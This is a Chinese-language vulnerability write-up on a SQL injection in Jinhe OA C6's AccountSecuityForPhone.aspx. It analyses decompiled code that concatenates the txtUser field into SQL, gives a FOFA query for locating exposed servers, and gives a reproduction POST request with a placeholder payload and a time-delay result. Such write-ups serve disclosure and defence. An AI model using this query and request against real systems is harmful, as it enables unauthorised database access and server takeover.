漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 AccountSecuityForPhone.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
根据 AccountSecuityForPhone.aspx 的源码,在 bin 目录下查找 JHBase.Web.AddMenu.dll 将其进行反编译后找到 AccountSecuityForPhone 的处理逻辑
protected void Page_Load(object sender, EventArgs e)
{
this.initText();
if (!this.IsPostBack)
{
this.DataBind(1);
this.ListPage1.Buttons.Add("../JHsoft.UI.Lib/images/icon.toolbar/16px/delete.png", this.CancelSecuity);
}
this.ListPage1.PageChange += new DataGridPage.EventHandler(this.ListPage1_PageChange);
this.ListPage1.ButtonClick += new UserWebControl.DataGrid.DataGrid.ButtonEventHandler(this.ListPage1_ButtonClick);
}
private void ListPage1_ButtonClick(object sender, string ButtonName)
{
if (!string.op_Equality(ButtonName, this.CancelSecuity))
return;
if (this.account.CancelSecuity(this.ListPage1.Value) > 0)
{
this.DataBind(1);
this.RegisterStartupScript("", $"<script>openAlertDialog('{this.strCancelOk}!','ok'); </script>");
}
else
this.RegisterStartupScript("", $"<script>openAlertDialog('{this.strCancelErr}!','error'); </script>");
}
查询按钮查询时,会将txtUser带入ListPage1_ButtonClick方法,然后执行DataBind方法,跟进 DataBind 方法
private void DataBind(int pageNo)
{
string strWhere = string.Empty;
if (string.op_Inequality(((HtmlInputControl) this.txtUser).Value.Trim(), ""))
strWhere = $" and username like '%{((HtmlInputControl) this.txtUser).Value.Trim()}%'";
DataSet secuityData = this.account.GetSecuityData(strWhere, this.PageSize, pageNo);
参数 txtUser 被直接拼接进SQL语句中后执行,无任何过滤或校验,导致SQL注入漏洞。
漏洞复现
POST /c6/Jhsoft.Web.addmenu/AccountSecuityForPhone.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded
_ListPage1LockNumber=1&_ListPage1RecordCount=0&__VIEWSTATE=YOUR___VIEWSTATE&txtUser=SQLI_POC&btnSearch=%E6%9F%A5%E8%AF%A2&__VIEWSTATEGENERATOR=YOUR___VIEWSTATEGENERATOR&__EVENTTARGET=&__EVENTARGUMENT=

成功延时 5 秒

